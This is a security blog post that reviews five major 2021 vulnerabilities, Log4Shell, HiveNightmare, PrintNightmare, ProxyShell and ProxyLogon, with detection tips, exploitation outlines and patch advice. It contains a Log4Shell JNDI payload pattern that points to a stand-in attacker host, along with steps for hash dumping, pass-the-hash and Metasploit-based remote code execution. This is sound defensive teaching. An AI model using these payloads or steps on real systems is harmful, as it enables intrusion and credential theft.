Update your patch management this new year

By on 4 Feb 2022

Category: Tech matters

Tags: , ,

Blog home

The start of the year can be a good time for security professionals to review the previous 12-month news cycle to help forecast and plan for what attacks and vulnerabilities need to be mitigated for and patched in the new year.

In this post, I want to review five of the top Common Vulnerabilities and Exposure (CVE) cases from 2021: Log4Shell, HiveNightmare (also known as SeriousSam), PrintNightmare and Microsoft Exchange Server remote code execution (RCE) vulnerabilities, ProxyShell and ProxyLogon.

I will discuss how these vulnerabilities can be detected, and how they can be exploited to learn how to mitigate them. I will also highlight how almost all of these could have been avoided with proper patch management.

Note: All the cases in this post were tested in a sandbox environment for educational purposes only. The site owners, publisher and the author cannot be held responsible for any damages caused.

Case 1: Log4Shell

Apache Log4j is a Java-based logging utility and one of several Java logging frameworks. It is part of the Apache Logging Services, a project of the Apache Software Foundation.

In December 2021, a critical RCE vulnerability in the popular Apache Foundation Log4j library was discovered. Described as ‘the single biggest, most critical vulnerability of the last decade’, the vulnerability, termed Log4Shell (CVE-2021-44228), is a zero-day vulnerability in Log4j, involving arbitrary code execution and has since received a CVSS severity score of 10 (the maximum).

Log4Shell is so uniquely dangerous because Apache Log4j 2.0 is used ubiquitously in Java applications, especially enterprise software. The vulnerability enables an attacker to gain control over a string, and trick the application into requesting and executing malicious code under the attacker’s control.

This exploit uses the ‘lookups’ of Java Naming and Directory Interface (JNDI) to perform remote command execution. As this interface tries to log incoming connection headers, such as User-Agent, X-Api-Version, and Referer, it can be altered to include malicious content with something like ${jndi:ldap://...}, which will be executed by the server and possibly obtain a reverse shell.

For the exploit to be successful it requires the following conditions to be met:

  • A server with a vulnerable log4j version (>= 2.0-beta9 and <= 2.14.1).
  • The targeted system must be accessible to the attacker with any protocol (HTTP, TCP and so forth) that allows an attacker to send the malicious payload.
  • The request from the attacker must be logged via Log4j.

How to detect it

Applications that are vulnerable to the Log4j CVE-2021-44228 issue may be detectable by scanning jar, war, and ear files to search for the presence of JndiLookup.class.

We can use CERT/CC’s CVE-2021-44228_scanner to identify assets vulnerable to Log4Shell (Figure 1):

Screenshot of command showing  CERT-CC's CVE-2021-44228_scanner function.
Figure 1 — CERT-CC’s CVE-2021-44228_scanner.

We can also use Florian Roth’s Fenrir 0.9.0 – Log4Shell tool to detect vulnerable instances (Figure 2):

Screenshot of Fenrir 0.9.0 — Log4Shell scanner.
Figure 2 — Fenrir 0.9.0 – Log4Shell scanner.

Users can detect for Log4Shell attacks by searching for strings similar to the following, in their server’s web request logs.

${jndi:ldap://[attacker site]/a}

Command screenshot of Log4Shell victim server log.
Figure 3 — Log4Shell victim server log.

In an actual attack, ldap is not the only string that will follow ${jndi:. Instead of ldap, we might also see ldaps, rmi, iiop, dns or http.

How it can be exploited

Users can generate a Java Naming and Directory Interface (JNDI) syntax (the code block ${jndi[:]ldap[:]//…) and put it into any input field (application input fields, site form fields, logins inputs, User-Agent, X-Api-Version field or X-Forwarded-For, or other customizable HTTP headers).

If the target application meets all the above criteria, then users may be able to get Log4Shell RCE (Figure 4):

Screenshot of Log4Shell RCE.
Figure 4 — Log4Shell RCE.


Since the disclosure, Apache has released an updated version that mitigates this vulnerability.

Case 2: HiveNightmare or SeriousSam

HiveNightmare, also known as SeriousSam, is a vulnerability in Windows 10.

In July 2021, CERT/CC published a Vulnerability Note advising that with multiple versions of Windows 10, the BUILTIN\Users group (non-admin privilege) is given RX permissions to files in the %windir%\system32\config directory. The vulnerability affects Windows 10 build 1809 and later versions.

As a result of these improper access rights, non-privileged users can read multiple critical system files, including the Security Accounts Manager (SAM), SYSTEM and SECURITY. Attackers may leverage this vulnerability to extract registry hive data, including hashed passwords.

If a system drive with a Volume Shadow Copy Service (VSS) is available, a non-privileged user may leverage access to these files to achieve several impacts, including, but not limited to:

  • Extracting and leveraging account password hashes.
  • Discovering the original Windows installation password.
  • Obtaining DPAPI computer keys, which can be used to decrypt all computer private keys.
  • Obtaining a computer machine account, which can be used in a silver ticket attack.

To do so, they would need to:

  • Enable system protection.
  • Restore point (Volume Shadow Copy Service).

How to detect it

Use the following command from a non-privileged command prompt to check if a system is vulnerable (Figure 5):

icacls %windir%\system32\config\sam

Command screenshot of vulnerability detection for HiveNightmare.
Figure 5 — Vulnerability detection for HiveNightmare.

How it can be exploited

Security researcher Kevin Beaumont has developed an executable called HiveNightmare (Figure 6), which allows users to read SAM data (sensitive) in Windows 10, as well as the SYSTEM and SECURITY hives.

Screenshot of HiveNightmare exploitation.
Figure 6 — HiveNightmare exploitation.

Users can then use secretsdump.py to retrieve related hashed passwords (Figure 7), which they can use to recover plain text passwords.

Screenshot of secretsdump for hashed passwords.
Figure 7 — Use secretsdump for hashed passwords.

Sometimes users can employ psexec or pass the hash method for accessing the system (if the victim system supports it).


Microsoft has made available a security patch and additional workarounds to help mitigate this vulnerability.

Case 3: PrintNightmare

In June 2021, CERT/CC published a Vulnerability Note for a critical RCE vulnerability in the Windows Print spooler service, noting that while Microsoft has released an update for CVE-2021-1675, the update does not address the public exploits that also identify as CVE-2021-1675.

On 1 July 2021, Microsoft released CVE-2021-34527. This bulletin states that CVE-2021-34527 is similar but distinct (because of a different attack vector) from the vulnerability that is assigned CVE-2021-1675. Termed PrintNightmare, an attacker can exploit this vulnerability to take control of an affected system.

The Windows Print spooler service is running by default on all Windows servers and clients, including domain controllers, in an Active Directory environment. The vulnerability affects multiple versions of Windows Server (2004, 2008, 2008 R2, 2012, 2012 R2, 2016, 2019, 20H2) and Windows OS (7, 8.1, RT 8.1, 10).

How to detect it

Users can use rpcdump.py from impacket to scan for potentially vulnerable hosts. If it returns a value, it could be vulnerable, as is the case in Figure 8.

Screenshot of PrintNightmare vulnerability detection.
Figure 8 — PrintNightmare vulnerability detection.

How to exploit it

For the exploit to be successful it requires the following conditions to be met:

  • The victim machine runs the Print Spooler service and allows remote connections.
  • Any valid user credentials in the domain (the attacker can obtain these by using a phishing attack).
  • The network is to be shared to enable the attacker to store the malicious dll driver (evil payload).
Screenshot of PrintNightmare exploitation.
Figure 9 — PrintNightmare exploitation.


Security patches and additional workarounds are available for CVE-2021-1675 and CVE-2021-34527.

Case 4: ProxyShell, Microsoft Exchange Server remote code execution vulnerabilities

ProxyShell is the name for the following three vulnerabilities that perform unauthenticated RCE on Microsoft Exchange servers when chained together:

  • CVE-2021-34473 — Pre-auth Path Confusion leads to ACL Bypass.
  • CVE-2021-34523 — Elevation of Privilege on Exchange PowerShell Backend.
  • CVE-2021-31207 — Post-auth Arbitrary-File-Write leads to RCE.

These chained vulnerabilities are exploited remotely through Microsoft Exchange’s Client Access Service (CAS) running on port 443 in Internet Information Services. ProxyShell specifically targets the Microsoft Exchange Autodiscover service, which was implemented as an easy way for mail client software to auto-configure access with minimal user input.

How to detect it

These vulnerabilities can be detected by using Autodiscover URL (Figure 10):

Screenshot of Autodiscover seraching for vulnerability for ProxyShell.
Figure 10 — Vulnerability detection for ProxyShell.

How to exploit

To test the ProxyShell RCE, I took the PoC exploit code Horizon3. Metasploit also have a module for ProxyShell RCE. If the system is vulnerable then this ProxyShell exploit will load the ‘Exchange PowerShell module’ and allow RCE (Figure 11).

Screenshot of ProxyShell Remote Code Execution.
Figure 11 – ProxyShell Remote Code Execution.


Microsoft has made available a security patch to help mitigate this vulnerability.

Case 5: ProxyLogon, Microsoft Exchange Server remote code execution vulnerability

ProxyLogon is the generic name for CVE-2021-26855, a vulnerability on the Microsoft Exchange Server that allows an attacker to bypass authentication and impersonate as the admin. An unauthenticated attacker can execute arbitrary commands on an unpatched Microsoft Exchange Server through an opened 443 port.

This vulnerability requires the support of other vulnerabilities such as CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 and affects multiple versions of Microsoft Exchange Server (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

How to detect it

Users can detect if their server is vulnerable to ProxyLogon attacks by using Nmap’s Nmap Scripting Engine (NSE) feature (http-vuln-cve2021-26855.nse) as seen in Figure 12. Microsoft also has an NSE feature available.

Screenshot of vulnerability detection for ProxyLogon.
Figure 12 — Vulnerability detection for ProxyLogon.

How to exploit it

Metasploit have a module for ProxyLogon RCE that allows users to successfully gain control of target systems if they are unpatched and vulnerable (Figure 13):

Screenshot of Metasploit showing ProxyLogon exploitation.
Figure 13 — ProxyLogon exploitation.


Microsoft has made available a security patch to help mitigate this vulnerability.

Patch management

By now you may have recognized that there are security patches or system updates available under the mitigation sections of all the above cases.

Once a vulnerability has been made public, a patch or a mitigation technique is often released by the vendor within days before it is properly accounted for in any upcoming system updates. It is important to apply these patches immediately as part of your ongoing security management, to reduce the likelihood of your servers being compromised. An extra step worth doing is conducting a Shodan search to detect if any IP addresses you manage are vulnerable to certain CVEs.

Doing this and ensuring your software is up to date are simple steps to protect you from a large majority of past, present, and future attacks.

Debashis Pal is an Information Security Specialist from Bangladesh.

Rate this article

The views expressed by the authors of this blog are their own and do not necessarily reflect the views of APNIC. Please note a Code of Conduct applies to this blog.

Leave a Reply

Your email address will not be published. Required fields are marked *